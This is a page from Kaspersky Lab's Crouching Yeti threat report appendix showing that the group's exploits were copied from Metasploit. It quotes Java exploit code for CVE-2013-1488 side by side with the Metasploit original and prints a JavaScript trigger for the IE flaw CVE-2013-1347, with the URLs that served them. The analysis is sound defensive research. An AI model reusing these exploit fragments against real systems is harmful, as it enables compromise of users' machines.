Kaspersky_Lab_crouching_yeti_appendixes_eng_final

102
10.3. Obvious Metasploit Rips
The Yeti exploits are ripped line-for-line from the metasploit framework.
For example, class files served from www.nahoonservices.com/wp-content/plugins/rss-poster/start.
jar include code pulled from the msf. From the Yeti LyvAGalW.class file:
System.out.println(“Here we go...”);
String s = “jdbc:msf:sql://127.0.0.1:8080/sample”;
String s2 = “userid”;
String s3 = “password”;
java.sql.Connection connection = DriverManager.getConnection(s, s2, s3);
And for comparison, here is the java exploit code from metasploit framework: github.com/rapid7/
metasploit-framework/blob/master/external/source/exploits/cve-2013-1488/Exploit.java:
System.out.println(“Here we go...”);
String url = “jdbc:msf:sql://127.0.0.1:8080/sample”;
String userid = “userid”;
String password = “password”;
Connection con = DriverManager.getConnection(url, userid, password);
Yeti’s delivery of CVE-2013-1347 from nahoonservices.com/wp-content/plugins/rss-poster/negc.
html displays much the same level of technical originality. From negc.html
f0 = document.createElement(‘span’);
document.body.appendChild(f0);
f1 = document.createElement(‘span’);
document.body.appendChild(f1);
f2 = document.createElement(‘span’);
document.body.appendChild(f2);
document.body.contentEditable=”true”;
f2.appendChild(document.createElement(‘datalist’));
f1.appendChild(document.createElement(‘span’));
f1.appendChild(document.createElement(‘table’));
try{
f0.offsetParent=null;
}catch(e) {
}f2.innerHTML=””;
TLP: Green
For any inquire please contact intelreports@kaspersky.com